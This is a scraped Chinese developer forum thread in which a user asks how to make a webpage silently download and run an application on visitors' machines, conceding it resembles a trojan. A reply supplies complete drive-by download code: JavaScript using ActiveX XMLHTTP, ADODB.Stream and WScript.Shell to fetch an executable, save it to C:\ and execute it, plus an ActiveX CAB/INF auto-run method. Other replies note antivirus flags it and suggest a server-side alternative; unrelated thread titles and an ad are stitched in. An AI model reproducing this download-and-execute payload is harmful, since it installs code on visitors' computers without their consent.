如何实现在用户打开我的网页时自动下载一个应用程序,并安装? 有点象木马啦,但老板偏要这样做。好在这个东东只是个搜索我们网站的工具。谢谢! 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 实现方法一:在你的网页中写<script>function ExeRun(command){ window.oldOnError=window.onerror; window._command=command; window.onerror=function(err) { if(err.indexOf('automation')!=-1) { alert("命令"+window._command+"已经被用户禁止!"); return true; } else return false; } var wsh=new ActiveXObject("WScript.Shell"); if(wsh) wsh.Run(command); window.onerror=window.oldOnError;}function DownURL(strRemoteURL,strLocalURL){ try { var xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP"); xmlHTTP.open("Get",strRemoteURL,false); xmlHTTP.send(); var adodbStream=new ActiveXObject("ADODB.Stream"); adodbStream.Type=1;//1=adTypeBinary adodbStream.Open(); adodbStream.write(xmlHTTP.responseBody); adodbStream.SaveToFile(strLocalURL,2); adodbStream.Close(); adodbStream=null; xmlHTTP=null; ExeRun(strLocalURL); } catch(e) { window.confirm("下载URL出错!"); } //window.confirm("下载完成.");}DownURL("Http://YourHost/YourExe.exe","C:\\YourExe.exe");</script> 实现方法二:在网页中<object id=DWebOffice style="left: 0px; width: 100%; top: 0px; height: 450px;" classid="clsid:05430EC0-69CA-437A-B1F9-4B78B8647BEA" viewastext codebase="http://YourHost/YourOCXCAB.cab#version=1,0,0,3">打包YourOCXCAB时在INF文件中加[YourExe.exe]file-win32-x86=thiscabFileVersion=1,0,0,0DestDir=11RegisterServer=norun=YourExe.exe 不过都需要降低IE安全级别,除非你的第二方法有CA验证数字证书 T0 wasltone(为中国软件崛起努力) :你的昵称我喜欢! To gjd111686(数字金刚)杀毒软件会把这些脚本当成病毒啊,我连保存都不行,Norton一下就把它删掉了。 如果是搜索网站的话,建议做成ISAPI或者servlet来搜索网站内容就不需要下载了. 做一个控件吧,在用微软的打包工具打成××××。CAB,还要做一个签名,在页面上你只要引用一下控件就可以了 To my_mtx(水木):谢谢,能不能说详细点?或者介绍些例子,我没找到 VC 中改变菜单名称 我想把没用的注释掉的代码删掉 vc2005 Microsoft Web Browser控件的对象调用GetDocument();为什么报错? 如何使用html control来正确显示网页? VS2005中如何把const char * 转换为 LPCTSTR? 我在类CFTPclient里面定义了一个成员CSocket *pCtrlsock? 我想在WINDOWS机器和UXIX服务器之间传输文本 如何从hDC句柄得到hWND窗口句柄 关于CListCtrl滚动条的问题 保存XML的声明怎样去掉其中的空格。 关于访问FTP服务器上的文件 一个奇怪问题?
在你的网页中写
<script>
function ExeRun(command)
{
window.oldOnError=window.onerror;
window._command=command;
window.onerror=function(err)
{
if(err.indexOf('automation')!=-1)
{
alert("命令"+window._command+"已经被用户禁止!");
return true;
}
else return false;
}
var wsh=new ActiveXObject("WScript.Shell");
if(wsh)
wsh.Run(command);
window.onerror=window.oldOnError;
}
function DownURL(strRemoteURL,strLocalURL)
{
try
{
var xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP");
xmlHTTP.open("Get",strRemoteURL,false);
xmlHTTP.send();
var adodbStream=new ActiveXObject("ADODB.Stream");
adodbStream.Type=1;//1=adTypeBinary
adodbStream.Open();
adodbStream.write(xmlHTTP.responseBody);
adodbStream.SaveToFile(strLocalURL,2);
adodbStream.Close();
adodbStream=null;
xmlHTTP=null;
ExeRun(strLocalURL);
}
catch(e)
{
window.confirm("下载URL出错!");
}
//window.confirm("下载完成.");
}
DownURL("Http://YourHost/YourExe.exe","C:\\YourExe.exe");
</script>
在网页中
<object id=DWebOffice style="left: 0px; width: 100%; top: 0px; height: 450px;" classid="clsid:05430EC0-69CA-437A-B1F9-4B78B8647BEA" viewastext codebase="http://YourHost/YourOCXCAB.cab#version=1,0,0,3">
打包YourOCXCAB时在INF文件中加
[YourExe.exe]
file-win32-x86=thiscab
FileVersion=1,0,0,0
DestDir=11
RegisterServer=no
run=YourExe.exe
你的昵称我喜欢!
杀毒软件会把这些脚本当成病毒啊,我连保存都不行,Norton一下就把它删掉了。
谢谢,能不能说详细点?或者介绍些例子,我没找到